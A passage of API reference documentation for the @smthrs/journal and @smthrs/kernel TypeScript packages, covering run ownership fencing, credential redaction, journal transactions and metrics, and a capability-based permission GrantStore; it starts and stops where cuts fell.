[Producer identity and idempotency](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/concepts/idempotency.md).

## OwnerId

`OwnerId.OwnerId` is the fencing token the durable channel accepts:
`{ hostId: string, pid: number, nonce: string }`, where `pid` is a
non-negative integer.

It lives here rather than with the ownership arbitration in
[`@smthrs/run-store`](/docs/reference/api/run-store/) because the journal is what it fences.
That package's `Ownership` re-exports it alongside `LivenessEvidence`,
`LivenessProbe`, and the heartbeat constants.

## Consensus

The injectable strategy that arbitrates who holds a run. The journal owns the
rules (one writer per run, fenced and unfenced appends, commit-time
admission, the generation fence, steal only on staleness plus liveness
evidence or on a same-host probe that proves the owner's pid gone, and
ownership transitions as events), and a strategy chooses where
the lease lives and how the fence is checked at commit time.

| Export                                                                                          | Signature                                                                                                                                       |
| ----------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| `Consensus`                                                                                     | `Context.Service<Consensus, Service>`                                                                                                           |
| `Service.claim`                                                                                 | `(runId, claimant: OwnerId, nowMs) => Effect<ClaimOutcome, ConsensusError>`                                                                     |
| `Service.activate`                                                                              | `(runId, owner: OwnerId, grantedAtMs, nowMs) => Effect<ActivateOutcome, ConsensusError>`                                                        |
| `Service.heartbeat`                                                                             | `(runId, owner: OwnerId, nowMs) => Effect<HeartbeatOutcome, ConsensusError>`                                                                    |
| `Service.reconfirm`                                                                             | `(runId, owner: OwnerId, nowMs) => Effect<HeartbeatOutcome, ConsensusError>`; renews only while the owner matches and no claim is pending       |
| `Service.release`                                                                               | `(runId, owner: OwnerId) => Effect<void, ConsensusError>`                                                                                       |
| `Service.steal`                                                                                 | `(runId, claimant: OwnerId, nowMs, evidence: LivenessEvidence) => Effect<ClaimOutcome, ConsensusError>`                                         |
| `Service.recover`                                                                               | `(runId, staleClaimant: OwnerId, grantedAtMs, observer: OwnerId, nowMs, evidence: LivenessEvidence) => Effect<RecoverOutcome, ConsensusError>`  |
| `Service.guard`                                                                                 | `(runId, owner: OwnerId) => Effect<void, ConsensusError>`; fails `fence_lost` unless `owner` holds the run                                      |
| `ClaimOutcome`                                                                                  | `Claimed { grantedAtMs }` or `Rejected { reason }`                                                                                              |
| `ActivateOutcome`                                                                               | `Activated` or `Lost`                                                                                                                           |
| `HeartbeatOutcome`                                                                              | `Renewed { heartbeatAtMs }` or `Lost`                                                                                                           |
| `RecoverOutcome`                                                                                | `Recovered` or `Rejected { reason }`                                                                                                            |
| `RejectionReason`                                                                               | `already_claimed`, `owner_held`, `owner_live`, `evidence_invalid`, `claim_fresh`, `claim_changed`, `unavailable`                                |
| `ConsensusError`                                                                                | `{ code: "fence_lost" \| "persistence_failed", message, cause? }`                                                                               |
| `LivenessEvidence`                                                                              | `{ expectedOwner: OwnerId, checkedAtMs, kind }` with `kind` one of `same-host-pid-dead`, `cross-host-unreachable-stale`, `lease-expired`        |
| `matchesEvidence`, `sameOwner`                                                                  | The evidence and identity predicates every strategy applies                                                                                     |
| `provesDeath`                                                                                   | `(evidence, claimant: OwnerId) => boolean`; `true` for `same-host-pid-dead` about a pid other than the claimant's, which `steal` admits at once |
| `heartbeatInterval`, `heartbeatStaleAfter`, `heartbeatSkewAllowance`, `heartbeatWriteTolerance` | The lease durations every strategy judges staleness against                                                                                     |
| `make`, `makeNoop`, `makeLocal`, `layerNoop`, `layerLocal`                                      | Constructors and layers; `layerLocal` is the in-memory single-process strategy                                                                  |

The claim lifecycle is two-phase: `claim` (or `steal`, its evidence-gated
form) reserves the run and returns the grant timestamp, `activate` presents
that grant to take ownership, and `release` clears whichever of the caller's
claim or ownership still stands. `recover` clears a third party's stale claim
after its claimant was proven dead. Every operation takes the caller's clock
reading, so staleness is judged against the reading the caller observed.
Heartbeats and lease state never enter the journal.

`layerLocal` keeps its leases per layer build and outside any database
transaction: provide one instance to every service that must agree, and
prefer `SqlConsensus` wherever a database is present.

`Service.withPermit(key, owner, isAlive, effect)` holds a named resource through
claim, activation, supervised execution and release. SQL strategies share the
permit across processes; local strategies share it within their instance.
Waiters retry admission and then execute their effect. Heartbeats renew once
per second; lost ownership interrupts work with `ConsensusError` (`fence_lost`).
Failure and interruption release the permit. Stale claims and owners require a
negative `isAlive` observation before recovery. Resource keys share the lease
namespace with run IDs; callers must reserve their prefix.

## SqlConsensus

The default database-backed strategy. Its lease is the `flows_consensus_leases`
row this package's migration `0006_consensus` creates, holding the owner tuple,
the two-phase claim columns, the grant timestamp, and the heartbeat. `guard`
is a plain SELECT inside the caller's write transaction, and every mutating
operation runs through `DurableWriter.write`, joining an enclosing transaction
as a savepoint, so a rolled-back ownership write rolls its lease back too.

| Export  | Signature                                                      |
| ------- | -------------------------------------------------------------- |
| `make`  | `Effect<Consensus.Service, never, DurableWriter \| SqlClient>` |
| `layer` | `Layer<Consensus, never, DurableWriter \| SqlClient>`          |

The migration backfills a lease for every `flows_runs` row that was running
or claimed when the table is already present, so an owner driving a run
before the upgrade keeps its fence afterwards.

## Redaction

The scrub applied to every `payload` and `meta` before persistence.

| Export                | Signature                                        | Meaning                                                                 |
| --------------------- | ------------------------------------------------ | ----------------------------------------------------------------------- |
| `make`                | `(options?: Options) => Redactor`                | builds a redactor over a rule set                                       |
| `makeNoop`            | `() => Redactor`                                 | the identity redactor, for persisting verbatim by choice                |
| `redact`              | `(value: unknown, options?: Options) => unknown` | the scrub itself                                                        |
| `redactJsonString`    | `(json: string, redactor: Redactor) => string`   | scrubs an already-encoded column at a display surface                   |
| `isSensitiveKey`      | `(key: string) => boolean`                       | whether a field name names a credential                                 |
| `Redactor`            | `(value: unknown) => unknown`                    | the function type the journal consumes                                  |
| `Rule`                | `{ id, pattern, replace?, rewrite? }`            | one textual rule; `rewrite` for a value a regex cannot bound            |
| `Options`             | `{ rules?, onTooDeep? }`                         | `onTooDeep` is `"throw"` (default) or `"name"`                          |
| `defaultRules`        | `ReadonlyArray<Rule>`                            | the built-in credential shapes                                          |
| `diagnosticRules`     | `ReadonlyArray<Rule>`                            | `defaultRules` plus the spellings too broad for a durable row           |
| `redactDiagnostic`    | `(value: unknown) => unknown`                    | `redact` with `diagnosticRules`, naming a too-deep value                |
| `lineRedactor`        | `(rules?: ReadonlyArray<Rule>) => LineRedactor`  | redacts a stream line by line, holding a value open across lines        |
| `LineRedactor`        | `{ line, flush }`                                | `line` returns the lines safe to emit; `flush` ends the stream          |
| `maxHeldLines`        | `256`                                            | lines a `LineRedactor` holds for one open value before withholding      |
| `placeholder`         | `"[REDACTED]"`                                   | the substitution                                                        |
| `maxDepth`            | `256`                                            | container edges traversed before a payload is refused                   |
| `RedactionDepthError` | `{ code: "depth_exceeded", maxDepth, message }`  | what `onTooDeep: "throw"` throws past `maxDepth`; a tagged error        |
| `binaryWalkLimit`     | `65_536`                                         | bytes, and own members, before a binary view is named instead of walked |
| `binaryMarker`        | `"[Binary]"`                                     | a named binary view                                                     |
| `functionMarker`      | `"[Function]"`                                   | a named function                                                        |
| `symbolMarker`        | `"[Symbol]"`                                     | a named symbol                                                          |
| `depthMarker`         | `"[Deep]"`                                       | a value past `maxDepth`, under `onTooDeep: "name"`                      |

Built-in text rules cover credential assignments around `:`, `=` or `=>`, in
every value shape `util.inspect` and escaped JSON write, credential flags such
as `--password value`, Basic and Bearer authorization, bare JWTs, private-key
PEM and PGP blocks (including OpenSSH, and a block with no footer), and
cookie/session assignments. Structured
credential suffixes also include `secretAccessKey`, `passphrase`, `sshKey`,
`session`, `signature`, and `auth`. See the full
[redaction rules](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/concepts/redaction.md).

Rows are permanent and are replayed verbatim to sync subscribers and
time-travel consumers, so redaction on write is the only place it can be
enforced once. The rule set is a best-effort textual net over shapes seen in
real reports, not a proof: a value that must never persist belongs in a
`Redacted` field of the caller's own schema.

Redaction stops at the journal. It is an observability concern, and journal
rows exist to be read. The stores in [`@smthrs/run-store`](/docs/reference/api/run-store/) and
[`@smthrs/step-cache`](/docs/reference/api/step-cache/) hold executable state and are
deliberately not redacted; neither takes a `redact` option at all. A journal
`Checkpoint`'s `state` is executable state for the same reason and is not
redacted either.

`redactJsonString` returns a string that does not parse untouched, because
validation is the caller's. Once parsing succeeds it fails closed: a throwing
redactor or an encoding failure returns the JSON string `"[REDACTED]"`, never
the original text.

Full behavior, including the bounds on hostile input, is in
[Redaction](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/concepts/redaction.md).

## RedactedLogger

The same rules applied to log output.

| Export             | Signature                                                                                                    |
| ------------------ | ------------------------------------------------------------------------------------------------------------ |
| `layer`            | `(options?: Redaction.Options) => Layer<never>`                                                              |
| `wrap`             | `<Message, Output>(logger: Logger<Message, Output>, options?: Redaction.Options) => Logger<Message, Output>` |
| `isRedacted`       | `(logger: Logger<any, any>) => boolean`                                                                      |
| `redactArgument`   | `(value: unknown, redactor: Redaction.Redactor) => unknown`                                                  |
| `redactingConsole` | `(target: Console, redactor: Redaction.Redactor) => Console`                                                 |
| `TypeId`           | `unique symbol`, the marker `wrap` sets                                                                      |

`layer` replaces the active logger set with redacting wrappers of the same
loggers, so an operator keeps the format they had. `wrap` redacts the log event
itself, the message, the cause, and the annotations, and hands the wrapped
logger a fiber whose `Console` is redacting. Both halves are load-bearing:
`Logger.tracerLogger` reads the event and never touches `Console`.

`wrap` defaults `onTooDeep` to `"name"`, because a throw in a logger costs the
operator the whole line. A caller's own `onTooDeep` still wins. Wrapping is
idempotent.

See [Keep credentials out of log output](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/guides/redact-log-output.md).

## Projection

| Export                | Signature                                                                           |
| --------------------- | ----------------------------------------------------------------------------------- |
| `Projection<S, E, R>` | `{ name: string, initial: S, reduce: (state: S, entry: Entry) => Effect<S, E, R> }` |
| `make`                | `<S, E, R>(projection: Projection<S, E, R>) => Projection<S, E, R>`                 |

Projections have no independent durable state. Replaying the same entries
through the same reducer must reproduce the same result. `Journal.project`
emits `initial` first, then one state per entry, and follows the run's tail
without completing. See
[Fold a run into a projection](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/guides/fold-a-projection.md).

## JournalMetrics

| Export        | Type                                                                        |
| ------------- | --------------------------------------------------------------------------- |
| `writes`      | the `flows_journal_writes` counter, dimensioned by `channel` and `receipt`  |
| `durable`     | `writes` views keyed by `"Accepted" \| "Duplicate"`                         |
| `lossy`       | `writes` views keyed by `"Accepted" \| "Duplicate" \| "Dropped"`            |
| `lostEntries` | the `flows_journal_lost` counter, dimensioned by `channel` and error `code` |
| `lost(code)`  | the `lostEntries` view for one `JournalError` code                          |
| `tally`       | runs an effect and answers `[{ events }, result]`                           |

`SqlJournal` updates these once per emission receipt, so they measure
admissions on the hot path rather than rows read back. A durable emission
counts when its receipt is produced; under `transact` that is still inside the
caller's transaction, so a receipt that later rolls back has already counted.
The counter is throughput evidence, not commit evidence.

`lostEntries` moves by the number of admitted lossy entries the writer failed
to commit, when it gives them up, whether or not a `flush` is waiting. The
writer also logs a warning naming the error code, the count, and the runs. A
final flush that fails while the journal closes logs a warning too.

No exporter ships in this package. Provide one, for example
[`@smthrs/observability`](/docs/reference/api/observability/), and these counters appear in it.

The counters sum over the whole process. `tally(effect)` counts what one
effect, such as one request or one alarm, wrote: `events`, the new entries it
committed. An entry counts once its transaction commits, when the journal
publishes it, so one rolled back with an enclosing transaction never counts,
and a duplicate is not new. It counts entries committed by the effect's fiber or
fibers it forks, and tallies nest. Lossy entries commit on the journal's own
writer fiber and are not counted.

## Migrations

| Export  | Signature                                                                  |
| ------- | -------------------------------------------------------------------------- |
| `set`   | `DatabaseMigrations.MigrationSet`, namespace `"journal"`, id block `0`     |
| `run`   | `Effect<ReadonlyArray<[id, name]>, MigrationError \| SqlError, SqlClient>` |
| `layer` | `Layer<never, MigrationError \| SqlError, SqlClient>`                      |

`0001_initial` creates `flows_journal_events` and its event-type index;
`0002_checkpoints` creates `flows_journal_checkpoints`;
`0003_startup_index` indexes the timestamp/run/sequence ordering used by the
bounded startup query. `run` and `layer` install this package's full set.
The migration composer also applies the new index to an installed journal
block when another package has already advanced the global migration cursor.

Every other durable table belongs to the package that reads it.
`@smthrs/database`'s `Migrations` composes several sets over one
`flows_migrations` table, namespacing each package's ids into a reserved block
so two packages' `0001_initial` cannot collide.
`@smthrs/engine-store/Migrations` exports `sets`, the composed list a durable
engine installs. No version shipped before `1.0.0-rc.0`, so each package
carries one authoritative initial schema rather than compatibility migrations
for schemas no published release ever used.

## Test entry points

`@smthrs/journal/test/TestJournal` provides the production SQL journal over a
migrated in-memory database:

| Export               | Signature                                                   |
| -------------------- | ----------------------------------------------------------- |
| `layer`              | `(options?: TestJournalOptions) => Layer<Journal, ...>`     |
| `TestJournalOptions` | `SqlJournalOptions` with `capacity` and `overflow` optional |

`TestJournalOptions` is the production option type, so every field forwards to
`SqlJournal.layer` unchanged and a new production option is reachable here the
day it is added. The defaults are `capacity: 1024` and `overflow: "reject"`.
This bundle creates the journal's tables, the consensus lease table included,
so a suite exercising a fenced call takes the run through `Consensus.claim`
and `activate`, or takes `@smthrs/engine-store/test/TestStores`, which
provides the journal, run, attempt, and cache services over one database.

`@smthrs/journal/test/Notifying` wraps a record-of-Effect-methods service so a
hook fires around every operation:

| Export  | Signature                                                                             |
| ------- | ------------------------------------------------------------------------------------- |
| `Order` | `"before" \| "after"`                                                                 |
| `Hook`  | `(op: string, order: Order, args: ReadonlyArray<unknown>) => Effect<void>`            |
| `wrap`  | `<S extends object>(service: S, hook: Hook) => S`                                     |
| `layer` | `<Id, S extends object>(tag: Context.Key<Id, S>, hook: Hook) => Layer<Id, never, Id>` |

The hook runs in the calling fiber, so a hook that dies, interrupts, or awaits
a `Latch` injects crashes, fence loss, and exact sequencing at any durable
transition point. The `after` firing only happens when the operation succeeds.
Effect-returning methods and plain `Effect` properties are hooked; non-Effect
members, such as `stream` and `project`, delegate untouched.

See [Test against a real journal](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/guides/testing.md).

## Sequence allocation

`emitDurable` allocates both sequences inside the writer's transaction
(`MAX(seq) + 1`, taking the in-memory clock as a floor) and inserts the row
before returning, so the returned `seq` is already committed. Use it wherever a
caller acts on the returned sequence: lifecycle finalization, cross-process
supervisors, or any deployment where a second writer may open the same run. A
durable boundary must not advance the run or expose its result until this
commit returns.

`Seq` is canonical per-run replay order and `SourceSeq` identifies producer
retries. Rejected and dropped admissions may consume either sequence, so gaps
are valid: allocation is `MAX(seq) + 1` and replay is `ORDER BY seq`, so
neither reads a gap as anything.

## Idempotency equality

`(runId, sourceId, sourceSeq)` is the producer identity, unique in the database
and addressed by the deterministic `makeEventId`. Two emissions under one
identity are the same event when their event type and their canonically
encoded, redacted `payload` and `meta` match. The encoding sorts object keys,
so key order does not change the answer. An exact producer retry returns
`Duplicate` with `status: "committed"`; a reused producer sequence carrying
different content fails `idempotency_conflict` unless the input declares
`dedupe: "identity"`.

The persisted bytes are `JSON.stringify` semantics with object keys sorted: a
`Date` is its ISO string, an `undefined` member is dropped, `NaN` is `null`.
Sorting happens over the encoded JSON, never over the raw value, so
canonicalization cannot destroy anything the encoder would have kept.

Two consequences follow from comparing the persisted, redacted bytes. Two
different secrets that redact to the same placeholder are the same event to the
journal, and `NaN` and `null` are the same value. Comparing the pre-redaction
value instead would keep unredacted secrets resident in the in-process index,
which is the leak this package exists to prevent, and the durable re-check at
insert can only read the persisted bytes.

## transact

Committing an entry makes that entry durable; it does not by itself make a
host's whole view crash-consistent, because the executable state lives in the
neighboring stores: `RunStore` and `AttemptStore` in
[`@smthrs/run-store`](/docs/reference/api/run-store/), `CacheStore` in
[`@smthrs/step-cache`](/docs/reference/api/step-cache/), and `DurableEngineState` in
[`@smthrs/engine-store`](/docs/reference/api/engine-store/). `transact` closes that seam: those stores write through the same `DurableWriter`, so their
writes join this transaction as savepoints and the row and its lifecycle entry
either both commit or both roll back.

Three properties matter to callers:

- **Publication follows COMMIT.** Inside a transaction, `emitDurable` returning
  means a savepoint was released. The `changes` and `stream` publish and the
  in-process producer index update are parked until the outermost transaction
  commits, so a subscriber never sees an entry that later rolls back, and a
  rolled-back producer identity stays re-emittable instead of deduplicating
  against a sequence that does not exist.
- **Only storage work belongs inside.** The transaction is held for its whole
  body: no flow bodies, host calls, or `flush`, which waits on the lossy writer
  and would deadlock against the open transaction.
- **Nesting is a savepoint.** An inner `transact` defers its settlements to the
  outermost commit.

A crash before COMMIT still loses the whole unit, so work that had already run,
an action body for instance, re-executes on the next drive. And no local
transaction makes a remote effect atomic, so external effects still need
idempotency keys, fencing tokens, or compensation. The transaction can also be
replayed by the database package's write retry, which is a second reason a body
must tolerate running more than once; see
[Commit state and its entry together](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/guides/commit-state-and-entry.md#a-note-on-retries).

## Failure and loss

The two channels fail independently, and neither failure is permanent. A batch
the optimistic writer cannot persist is lost and reported: to the `flush`
waiters that covered it, to live `stream` consumers that were following when it
happened, and, if nobody was waiting, to the next `flush`. The writer fiber
survives it. Each loss is reported once; a later `flush` with nothing
outstanding succeeds, while entries queued behind the lost batch stay
outstanding, so a subsequent `flush` still waits for them instead of vouching
for unpersisted work. `emitDurable` was never gated by the queue: it opens its
own transaction inline, so the lossless lifecycle channel keeps working as soon
as the database is healthy again.

`changes` is a bounded sliding buffer sized by the layer's `capacity`: a slow
subscriber loses entries with no error and no gap signal. `stream` is the
lossless follower. Entries published to `changes` are frozen, so one subscriber
cannot mutate another's view.

Reads below a run's compaction floor fail with `compacted`. See
[Checkpoints and compaction](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/concepts/compaction.md) and the
[`@smthrs/journal` error codes](/docs/reference/errors/#smthrsjournal).

## Resource limits

| Limit                                | Value                                                                  |
| ------------------------------------ | ---------------------------------------------------------------------- |
| admission queue and `changes` buffer | `capacity` entries                                                     |
| one entry                            | `maxEntryBytes` UTF-8 bytes of `payload` plus `meta`, unset by default |
| run ids, source ids, event types     | 1,024 UTF-16 code units                                                |
| `Seq`, `SourceSeq`                   | below `Number.MAX_SAFE_INTEGER`                                        |
| one `entries` page                   | `maxEntriesLimit`, 10,000 entries                                      |
| producer-idempotency index           | `sourceEventCache` entries, default 4,096                              |
| redaction traversal                  | `maxDepth`, 256 container edges                                        |
| binary view walk                     | `binaryWalkLimit`, 65,536 bytes or own members                         |

A payload deeper than `Redaction.maxDepth` fails `invalid_event` rather than
overflowing the stack, and the canonical encoder carries the same ceiling for a
caller who disables redaction.

## See also

- [State and event authority](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/concepts/state-event-authority.md): shared
  bounded identities, `EngineEvent` schemas, constructors and consumer decoders.
- [Durable execution](/docs/concepts/durable-execution/) and
  [Execution IDs and ownership](/docs/concepts/ownership/).
- [`@smthrs/engine-store`](/docs/reference/api/engine-store/), which composes this package with
  the run store and the step cache.
- [`@smthrs/chain`](/docs/reference/api/chain/) has a journal of its own with a different
  contract; see [the chain journal](https://chain.smithers.sh/concepts/journal/).

### Journal generations

`Journal.Service.generation?(runId)` returns an Effect of
`{ generation: number, afterSeq: number }` with `JournalError` failures.
Append-only adapters may omit it (generation zero). A truncating adapter must
advance it atomically with truncation so followers detect reused sequences.
`SqlJournal.layer` persists it in `flows_journal_generations`, installed through
`JournalGeneration.initialize`; a fresh run reports `{ generation: 0, afterSeq: -1 }`.

`JournalGeneration.forget(runIds)` invalidates live journal source identities and
allocation floors after a committed truncation, for every journal sharing the
SQL client. It requires `SqlClient`; it changes no durable rows. Producers must
be quiescent and pending lossy admissions flushed before truncation.
`JournalGeneration.onTruncate(callback)` registers an invalidator for the current
scope. `SqlJournal` registers automatically, and `SqlTimeTravelStore.archiveAndTruncate`
notifies after commit for the parent and attached descendants. Re-emitting an
archived lossy source identity is then admitted against the retained history.

## Native execution facts and human waits

`ExecutionFact.fold` verifies native run-local sequence/generation evidence and
reconstructs root identity, current trampoline lifecycle, and attached descendant
human waits. Current observations include the additive `treeVersion: 1`,
`parentPolicy`, and redacted `waiting.request`/`waiting.point` metadata. Detached
subtrees do not roll their questions into an ancestor's status. A settled wait
leaves the derived open-wait set.

`Provenance.humanWaits` distinguishes covered events from legacy or unverified
observations. Old version-1 facts lacking these fields cannot establish tree-wait
coverage. `humanWaitSources` records separate generation and baseline sequence
bounds for each native execution in the derived tree, so upgrading an old stream
does not claim question history before the extension first appeared. A missing
child stream, explicit gap, incompatible metadata, or question that differs from
the coherent observed tree refuses that coverage. The wait set compares by
execution identity and exact semantic values; adapter enumeration order does not
change coverage. The derived list orders by depth, creation time, and lexical ID.
The root/current semantic provenance also declines a complete event claim when
the requested tree comparison fails.

The fact is display evidence. Its token digest does not authorize a signal or
reconstruct an opaque resolver token. The gateway joins a verified question to
a currently observed wait with the same execution identity and digest, then
uses that current wait's existing submission envelope. A historical question
alone cannot make a gate answerable after the live wait has ended.

Deferred-batch cleanup is idempotent across sibling savepoints of one outer
transaction. Their commit callbacks remove only their captured entries, so
resuming a parked run cannot discard a later batch or fail after commit.

---

# @smthrs/kernel
https://smithers.sh/docs/reference/api/kernel/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/kernel/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/kernel/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/kernel/docs)

> **Related APIs:** [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/)

The root entry point re-exports every module as a namespace, and each module is
also importable from `@smthrs/kernel/<Module>`:

```ts
import { CapabilitySet, GrantStore, HostServices, Workspace } from "@smthrs/kernel"
// or
import * as GrantStore from "@smthrs/kernel/GrantStore"
```

`@smthrs/kernel/internal/*` and `@smthrs/kernel/*/index` are not public.
`@smthrs/kernel/package.json` is exported.

:::note
Schema ids (`@smthrs/kernel/GrantEvent/RunGrant` and its siblings), journal event types (`flows.kernel.grant.*`, `flows.host.process-*`), and the `HostServiceIds` slot ids are durable identity rather than internal names. They are written to the journal and read back on replay, so code that reads grant or process history can match on them. They change only when the service behind the id changes.
:::

## Example

```ts
import { GrantStore, HostServices, Workspace } from "@smthrs/kernel"
import * as TestHost from "@smthrs/testing/TestHost"
import { Effect, FileSystem, Layer } from "effect"

const raw = Layer.mergeAll(TestHost.layer({ files: { "/w/a.txt": "hi" } }), Workspace.layer("/w"))
const read = Effect.flatMap(FileSystem.FileSystem, (fs) => fs.readFileString("/w/a.txt"))
// Refused with permission_required: no rule authorizes fs:read.
Effect.runPromise(
  read.pipe(
    Effect.provide(HostServices.layer),
    Effect.provide(Layer.orDie(GrantStore.layer({ attended: false }))),
    Effect.provide(raw),
    Effect.scoped
  )
)
```

## Entry points

| Import                               | Source                                                                                                                                   | Platform |
| ------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/kernel`                     | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/kernel/src/index.ts)                             | any      |
| `@smthrs/kernel/test/TestGrantStore` | [src/test/TestGrantStore.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/kernel/src/test/TestGrantStore.ts) | any      |
| `@smthrs/kernel/test/contract`       | [src/test/HostContract.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/kernel/src/test/HostContract.ts)     | Node.js  |

## Capability and Permission

`Capability` and `Permission` are namespace re-exports from
[`@smthrs/capability`](/docs/reference/api/capability/). That package owns the vocabulary, the
pattern grammar, policy evaluation, effect tiers, and the typed failure
contract; their deep import paths are `@smthrs/capability/Capability` and
`@smthrs/capability/Permission`. This page documents how the kernel applies
that contract at host boundaries.

Rules are ordered and last-match-wins, except that an effective configured deny
is a hard veto. The default decision is `ask`. `CapabilitySet` supplies the
ambient authority ceiling, and its public operations can only preserve or
narrow authority.

```ts
import { Capability, Permission } from "@smthrs/kernel"

const readWorkspace = new Permission.Rule({
  effect: "allow",
  pattern: new Capability.CapabilityPattern({
    action: "fs:read",
    resource: "/workspace/**"
  })
})

const decision = Permission.evaluate(
  [[readWorkspace]],
  Capability.make("fs:read", "/workspace/src/main.ts")
)
```

## CapabilitySet

The fiber's monotone authority ceiling.

### CapabilitySet.CapabilitySet

```ts
interface CapabilitySet {
  readonly groups: ReadonlyArray<ReadonlyArray<CapabilityPattern>>
}
```

A normalized conjunction of any-of pattern groups: a capability is allowed only
when **every** group contains a pattern matching it. Groups and patterns are
sorted, deduplicated, and frozen on construction. An empty inner group denies
everything, and any set containing one collapses to that.

### CapabilitySet.fromPatterns

```ts
const fromPatterns: (patterns: ReadonlyArray<CapabilityPattern>) => CapabilitySet
```

Authority described by one any-of group.

### CapabilitySet.none

```ts
const none: CapabilitySet
```

Empty authority. Its single empty any-of group rejects every capability.

### CapabilitySet.allows

```ts
const allows: (set: CapabilitySet, capability: Capability) => boolean
```

Whether every group contains a pattern matching the capability.

### CapabilitySet.intersect

```ts
const intersect: (left: CapabilitySet, right: CapabilitySet) => CapabilitySet
```

Concatenates the two group lists and renormalizes. Globs are never synthesized
or simplified, so intersection cannot invent authority.

### CapabilitySet.equals

```ts
const equals: (left: CapabilitySet, right: CapabilitySet) => boolean
```

Structural equality between normalized sets.

### CapabilitySet.current

```ts
const current: Effect.Effect<CapabilitySet>
```

The current fiber's ceiling. A fiber that never passed through `attenuate`
allows every capability, because unrestricted authority is the identity element
of `intersect`. The backing reference is module-private, so no caller can
replace the ambient set with a wider one.

### CapabilitySet.attenuate

```ts
const attenuate: (
  patterns: ReadonlyArray<CapabilityPattern>
) => <A, E, R>(effect: Effect.Effect<A, E, R>) => Effect.Effect<A, E, R>
```

Runs the effect with the parent ceiling **intersected** with one more any-of
group. This is the only way authority moves, and it only narrows.

## GrantStore

The decision service every decorator consults.

### GrantStore.Service and GrantStore.GrantStore

```ts
interface Service {
  readonly policy: Effect.Effect<Policy, GrantStoreError>
  readonly check: (
    capability: Capability,
    meta?: Record<string, unknown>
  ) => Effect.Effect<void, PermissionRequired | PermissionDenied | GrantStoreError>
  readonly reply: (
    requestId: string,
    resolution: Resolution,
    pattern?: CapabilityPattern
  ) => Effect.Effect<void, GrantStoreError>
  readonly list: Effect.Effect<ReadonlyArray<PendingRequest>>
  readonly grantEnvelope: (options: EnvelopeGrantOptions) => Effect.Effect<void, GrantStoreError>
}

class GrantStore extends Context.Service<GrantStore, Service>()("@smthrs/kernel/GrantStore") {}
```

`check` consults, in order: whether the store is open, the fiber's ceiling, and
the rulesets. `allow` returns void; `deny` fails `permission_denied`; `ask`
fails `permission_required` on an unattended store and parks the fiber on an
attended one. `meta` is display metadata for an attended surface and is
snapshotted, never interpreted.

`list` is a frozen snapshot whose `meta` values are the frozen snapshots taken
at check time. `reply` and `grantEnvelope` persist their decision before
activating it. The journal write never holds the store's mutation permit: a
slow or dead journal stalls only the admission that issued it, and a write
exceeding `maximumPersistMillis` fails with `journal_failed`, leaving the
request parked for a retry. A concurrent reply to a request whose decision is
mid-write fails fast with `request_not_found`; a concurrent identical envelope
admission adopts the in-flight outcome. Admissions reserve rule and envelope
signature capacity before writing, so distinct concurrent decisions cannot
exceed either ceiling. Failed or interrupted writes release their reservations;
successful writes convert them to active grants.

### GrantStore.Policy, PolicyRule and emptyPolicy

```ts
interface PolicyRule {
  readonly rule: Rule
  readonly ceiling: Pick<CapabilitySet, "groups">
}
interface Policy {
  readonly groups: ReadonlyArray<ReadonlyArray<PolicyRule>>
  readonly ceiling: CapabilitySet
}
const emptyPolicy: Effect.Effect<Policy>
```

`policy` takes one immutable snapshot under the mutation permit. Groups retain
configured, envelope, captured run and remembered rule ordering. Each run rule
retains its captured ceiling; `ceiling` is the caller's current authority.
Closed stores fail with `store_closed`. Pending and once approvals provide no
persistent authority. Custom services with no provable authority can use
`emptyPolicy`, which opens nothing.

### GrantStore.PendingRequest

```ts
interface PendingRequest {
  readonly requestId: string
  readonly capability: Capability
  readonly tier: EffectTier
  readonly meta: Record<string, unknown>
}
```

One parked request. `tier` is `Capability.tierOf` for the capability, resolved
against the workspace root.

### GrantStore.Resolution

```ts
type Resolution = "once" | "run" | "remembered" | "deny"
```

`once` authorizes the request alone. `run` adds an allow rule for the run and
requires a `planDigest`. `remembered` adds a rule a journal-backed store
replays into later processes. `deny` fails the parked request. Adding a rule
also resolves every other parked request the new rule allows.

### GrantStore.EnvelopeGrantOptions

```ts
interface EnvelopeGrantOptions {
  readonly planDigest: string
  readonly patterns: ReadonlyArray<CapabilityPattern>
  readonly scope?: "run" | "remembered" | undefined
}
```

A bulk approval. `scope` defaults to `"run"`.

### GrantStore.MakeOptions

```ts
interface MakeOptions {
  readonly attended?: boolean | undefined
  readonly rules?: ReadonlyArray<Rule> | ReadonlyArray<ReadonlyArray<Rule>> | undefined
  readonly runRules?:
    | ReadonlyArray<
      Rule | {
        readonly rule: Rule
        readonly ceiling: ReadonlyArray<ReadonlyArray<CapabilityPattern>>
      }
    >
    | undefined
  readonly envelope?: EnvelopeGrantOptions | undefined
  readonly envelopeSignatures?: ReadonlyArray<string> | undefined
  readonly runId?: string | undefined
  readonly planDigest?: string | undefined
  readonly persist?: Persist | undefined
}
```

`attended` defaults to `true`. A flat `rules` value is the configured policy; a
nested one has configured policy first and replayed remembered grants after.
`envelopeSignatures` names envelopes that are already durable, so a matching
construction envelope activates without being persisted again.

### GrantStore.Persist

```ts
type Persist = (event: GrantEvent) => Effect.Effect<void, GrantStoreError>
```

A hook that durably records a decision **before** it becomes active. A
persistence failure leaves the decision inactive. One write may take at most
